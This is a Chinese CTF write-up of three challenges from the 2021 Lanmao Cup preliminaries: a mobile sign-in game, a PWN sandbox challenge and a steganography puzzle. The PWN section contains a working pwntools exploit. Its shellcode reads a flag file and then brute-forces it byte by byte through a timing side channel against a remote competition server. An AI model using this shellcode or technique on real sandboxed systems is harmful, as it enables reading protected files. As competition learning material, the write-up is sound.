2021第五届蓝帽杯初赛部分题目wp

文章目录

  • 前言
  • WEB
    • Ball_sigin
  • PWN
    • slient
  • MISC
    • 冬奥会_is_coming


前言

本次蓝帽杯初赛做出了三道解出人数最多的题,勉强混个线下。但不得不吐槽一下这届题目。冬奥会这题杂项套了100层娃,头都绕晕了;PWN题的slient是2020年蓝帽杯决赛原题。其他题没做出来,没有发言权。

WEB

Ball_sigin

2021第五届蓝帽杯初赛部分题目wp_第1张图片

签到题,用手机打开,填补3次左上角空缺的单词,完成滑雪游戏即得到flag
2021第五届蓝帽杯初赛部分题目wp_第2张图片
flag{3b2e48de-e328-4267-a8d6-8d17fb3c8889}

PWN

slient

2021第五届蓝帽杯初赛部分题目wp_第3张图片


题目mmap出了一块可执行内存,地址位于0x10000,随后读取shellcode到这块内存上并执行,在执行前使用seccomp禁掉了除去open/write之外的其他所有系统调用,因此无法通过write系统调用直接leak出flag。考虑单字节爆破flag,即读取flag到一块内存区域,随后单字节爆破,在shellcode中设置loop循环,一旦cmp命中即跳转到loop使得程序卡死,否则执行后面的exit系统调用直接崩溃,根据程序的表现可以区分是否命中,注意因为服务器通信不稳定,每次读到一段flag就更新exp中的flag字符串继续向后爆破。

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./chall')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]


map_addr = 0x00010000
flag_addr = 0x10700

def exp(dis,char):

    p.recvuntil("Welcome to silent execution-box.\n")
    sc = asm('''
            mov r12,0x67616c66
            push r12
            mov rdi,rsp
            xor esi,esi
            xor edx,edx
            mov al,2
            syscall
            mov rdi,rax
            mov rsi,0x10700
            mov dl,0x40
            xor rax,rax
            syscall
            mov dl, byte ptr [rsi+{}]
            mov cl, {}
            cmp cl,dl
            jz loop
            mov al,60
            syscall
            loop:
            jmp loop
            '''.format(dis,char))
    p.send(sc)
    #p.interactive()

#exp(0,84)

flag = "flag{k33p_qu14t!}"
for i in range(len(flag),18):
    sleep(1)
    log.success("flag : {}".format(flag))
    for j in range(0x100):
        if debug:
            p = process('./chall')
        else:
            p = remote('8.140.177.7',40334)
        try:
            #gdb.attach(p,'b* 0x0000555555554000+0xc94')
            exp(i,j)
            p.recvline(timeout=1)
            flag += chr(j)
            p.send('\n')
            log.success("{} pos : {} success".format(i,chr(j)))
            #sleep(0.5)
            #raw_input()
            p.close()
            break
        except:
            #log.success("{} pos : {} failed ".format(i,chr(j)))
            p.close()

flag{k33p_qu14t!}

MISC

冬奥会_is_coming

2021第五届蓝帽杯初赛部分题目wp_第4张图片

题目拿到手为一张png图片
2021第五届蓝帽杯初赛部分题目wp_第5张图片

binwalk分离得到一个压缩包
2021第五届蓝帽杯初赛部分题目wp_第6张图片

解压得encode.mp3,还有提示密码为8位
2021第五届蓝帽杯初赛部分题目wp_第7张图片

查看mp3文件内容,发现最后有一段多出来的cipher,将十六进制分离出来转换得到emoji暂且不清楚有什么用,猜测为emoji加密,解密emoji发现内容无意义
2021第五届蓝帽杯初赛部分题目wp_第8张图片
在这里插入图片描述

题目名称为冬奥会,猜想8位密码为冬奥会开幕日期20220204,使用mp3stego工具分离出一个文本txt
2021第五届蓝帽杯初赛部分题目wp_第9张图片
2021第五届蓝帽杯初赛部分题目wp_第10张图片

十六进制转换字符串得到如下为office里的wingding字体:
2021第五届蓝帽杯初赛部分题目wp_第11张图片

在https://lingojam.com/WingDing转换为字符串:
2021第五届蓝帽杯初赛部分题目wp_第12张图片

找到github上该项目,下载post-chekout文件

2021第五届蓝帽杯初赛部分题目wp_第13张图片

文件内容如下:
2021第五届蓝帽杯初赛部分题目wp_第14张图片

将内容How_6ad_c0uld_a_1cePeak_be?作为密钥结合之前的emoji,尝试emoji-aes解密(https://aghorler.github.io/emoji-aes/),得到flag
2021第五届蓝帽杯初赛部分题目wp_第15张图片
2021第五届蓝帽杯初赛部分题目wp_第16张图片
flag{e32f619b-dbcd-49bd-9126-5d841aa01767}

你可能感兴趣的:(网络攻防,信息安全,网络安全,pwn,web,CTF)